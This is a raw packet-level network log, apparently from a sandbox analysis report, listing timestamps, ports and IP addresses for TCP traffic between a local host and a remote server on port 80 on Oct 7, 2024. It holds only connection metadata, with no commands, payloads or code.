Oct 7, 2024 03:15:45.469731092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469753981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.469758034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469774008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469784021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.469801903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469819069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469825983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.469835997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469861031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469866991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.469877005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469891071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.469892979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469919920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469933987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.469934940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469952106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469974995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.469990969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469999075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470005035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470027924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470041037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470052958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470067978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470078945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470087051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470102072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470117092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470118999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470134020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470149040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470166922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470174074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470190048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470192909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470206022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470221996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470237970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470247984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470256090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470283031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470298052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470335960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470355034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470360041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470376968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470391035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470391989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470412016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470419884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470427990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470446110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470460892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470460892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470479012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470489979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470494032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470510960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470523119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470536947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470551014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470566034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470566034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470583916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470585108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470607996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470626116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470630884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470685005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470693111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470716953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470733881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470738888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470752001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470767975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470773935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470783949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470799923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470820904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470824957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470841885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470846891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470859051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470871925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470876932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470894098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470909119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470916033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470926046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470942020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.470963001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.470994949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471101046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471120119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471134901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471143007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471159935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471164942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471178055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471193075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471203089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471210003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471226931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471244097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471261978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471292019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471302986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471318960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471328020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471381903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471417904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471434116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471447945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471463919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471477985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471498013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471503973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471514940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471530914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471544981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471582890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471625090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471649885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471666098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471673012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471683025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471710920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471723080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471728086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471744061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471760988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471765041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471798897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471822023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471857071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471873045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471888065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471903086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471910000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471920967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471934080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471939087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471955061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471971989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.471978903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.471991062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.472001076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.472013950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.472023010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.472029924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.472047091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.472060919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.472062111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.472079039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.472095013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.472101927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.472110987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.472177029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.472198009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.472208023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.472265959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.556488037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556524038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556554079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556580067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556595087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556610107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556626081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556651115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556665897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556704044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556716919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556732893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556747913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556775093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556787014 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.556792974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556787014 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.556817055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556837082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556838989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.556838989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.556844950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556854010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556860924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556869030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556883097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556893110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556926012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556941986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.556942940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556958914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556977034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.556997061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557002068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557008982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557018042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557033062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557033062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557049990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557074070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557085037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557090998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557109118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557121992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557125092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557152987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557168007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557185888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557218075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557372093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557387114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557401896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557415009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557416916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557434082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557449102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557459116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557466030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557492971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557507038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557507992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557526112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557529926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557543039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557562113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557566881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557578087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557593107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557605982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557616949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557632923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557636976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557648897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557658911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557667971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557682991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557698965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557701111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557739019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557754040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557758093 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557770014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557780981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557796955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557813883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557822943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557828903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557845116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557864904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557867050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557883978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557899952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557903051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557917118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557928085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.557933092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557951927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557976007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557991028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.557998896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.558008909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.558023930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.558032990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.558043957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.558053970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.558079958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.558084965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.558109999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.558118105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.558130026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.558146000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.558156013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.558165073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.558181047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.558183908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.558202982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.558218002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.558221102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.558235884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.558243036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.558296919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.580153942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580194950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580207109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580218077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580236912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580250025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580260038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580271959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580277920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580284119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580281973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.580336094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.580346107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580358028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580374002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580393076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580401897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.580416918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580429077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580440044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.580441952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580482960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.580493927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580504894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580514908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580527067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580547094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580552101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.580559015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580570936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580589056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580599070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.580600023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580614090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580625057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580642939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580648899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.580657959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580668926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580681086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580692053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580705881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.580712080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.580750942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.642973900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643055916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643057108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.643069983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.643105030 CEST	49737	80	192.168.2.4	95.164.90.97
